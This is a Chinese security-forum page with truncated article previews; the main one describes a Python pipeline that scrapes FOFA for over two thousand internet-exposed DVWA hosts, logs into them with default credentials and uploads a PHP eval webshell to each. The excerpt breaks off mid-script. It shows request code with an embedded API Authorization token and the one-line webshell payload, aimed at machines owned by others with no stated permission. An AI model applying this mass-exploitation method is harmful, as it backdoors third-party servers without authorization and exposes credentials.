mailutils mailx软件包是一个命令行的邮件属性程序,mail命令包含在mailx软件包里面 测试默认设置 添加测试用户(ceshi) [email protected]:/home/wrs# useradd -m -s /bin/bash ceshi [email protected]:/home/wrs# passwd ceshi 测试添加的用户 测试25端口是否打开 [email protected]:/home/wrs# telnet localhost 25 [email protected]:/home/wrs# telnet localhost 25 Trying...
阅读全文
FOFA爬虫、批量poc、批量exp SecIN安全技术社区

FOFA爬虫、批量poc、批量exp

一个平常的下午,南辰geigei突然来了句fofa上dvwa外网靶场好多靶子打开fofa搜索了一下dvwa两千多条,好家伙正好玩一下。 直接开干好吧。 首先定位到dvwa的title信息, 从里面的各个title信息我这边定位到了Login :: Damn Vulnerable Web Application (DVWA)这个title信息 基本上都是dvwa的靶场了 nice!!! 思考下这边的攻击思路,首先是要爬取fofa上的主机的ip信息,然后使用得到的ip请求相应的登陆界面并传送用户名与密码,dvwa默认的登陆名和密码分别的:[email protected] response返回获取的dvwa的session信息,并且把session的cookie值嵌入到请求中访问文件上传模块,上传时确定服务器防护的级别为low,上传成功后在对应的txt文件中输出网站的上传成功路径。 这边因为使用的文件上传为low级别,所以直接一句话就ok。 <?php @eval($_POST(‘hacker’))> 普通会员只有100条api,算了直接python爬虫吧,直接拿request读取,开始测试。 查看url: https://fofa.so/result?qbase64=IkxvZ2luIDo6IERhbW4gVnVsbmVyYWJsZSBXZWIgQXBwbGljYXRpb24gKERWV0EpIg%3D%3D get请求参数qbase64是搜索信息的编码参数,使用的get请求,但是数据没传过来,那一定是使用了ajax,服务器发送的json数据,f12查看网络流量。 只有一个stats是可疑流量,但查看流量中并没有传输什么ip信息。 继续换bp查看流量。 没有发现什么传输流量。点击第二页发现一个可疑流量 这个流量没有出现在第一页中,但是数据中有些返回给js的状态信息,查看get请求url有q、qbase、full、pn、ps,q参数传输搜索信息,qbase64传送加密信息,full传输一个暂且不知道什么的状态,pn值为2可以初步判断一下可能是页数信息,改变pn值为1,可以看到返回了ip等站点信息。 所以之前pn为2时返回状态信息是因为我没有登录,这边没有cookie存的session参数,测试登录后流量信息。 对比两次流量 发现登录后Authorization:参数多了些值(session信息已经修改过了),此参数就是后台过滤器用于判断登录的参数。 编写脚本,首先一千台机子需要请求120页,先外部循环120次,请求完后还有一个10次的小循环用于拿到一个ip对这个IP中站的上传php文件。 页数大循环我用到变量k,小循环用到变量i, 先确定header头信息,确定url并请求fofa获取第一页信息。 ``` header={ 'Host': 'api.fofa.so', 'Authorization': 'AuNTc5ODY2MiwiaXNzIjoicmVmcmVzaCJ9.bAPCFxJCuXAK26UpqPZXBj3b8lGVgKW-1ue76K_SeoOwEv_4C8qEoBa0hr3g8hMjlhIApSaaIMNyLgVs3G5S1w', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36', 'Origin': 'https://fofa.so', 'Referer': 'https://fofa.so/', } uuurl="https://api.fofa.so/v1/search?q=%22Login+::+Damn+Vulnerable+Web+Application+(DVWA)%22&qbase64=IkxvZ2luIDo6IERhbW4gVnVsbmVyYWJsZSBXZWIgQXBwbGljYXRpb24gKERWV0EpIg%3D%3D&full=false&pn="+str(k)+"&ps=10" req_fofa=requests.request("get",uuurl,headers=header) data=json.loads(req_fofa.text) ``` 获取成功后抓取json中的IP信息 data=json.loads(req_fofa.text) url=data host=data 这块加载了json的第三方库中反序列化的函数。 确定主机的ip信息后再次发起登录请求,登录后获取后端session信息,并将session信息存放到header头中 ``` dats={ 'host':host, 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Connection': 'close' } req_dvwa=requests.get(url_1,headers=dats,proxies=proxies,verify=False) sess_login=req_dvwa.headers ``` 站点为了防止爆破用到了token信息,所以请求获取后还需要把token信息提取出来放入到下一次的请求中。 从截图中可以看到一个隐藏的input标签,里面存放了token的值。 ``` element=etree.HTML(req_dvwa.text)...
阅读全文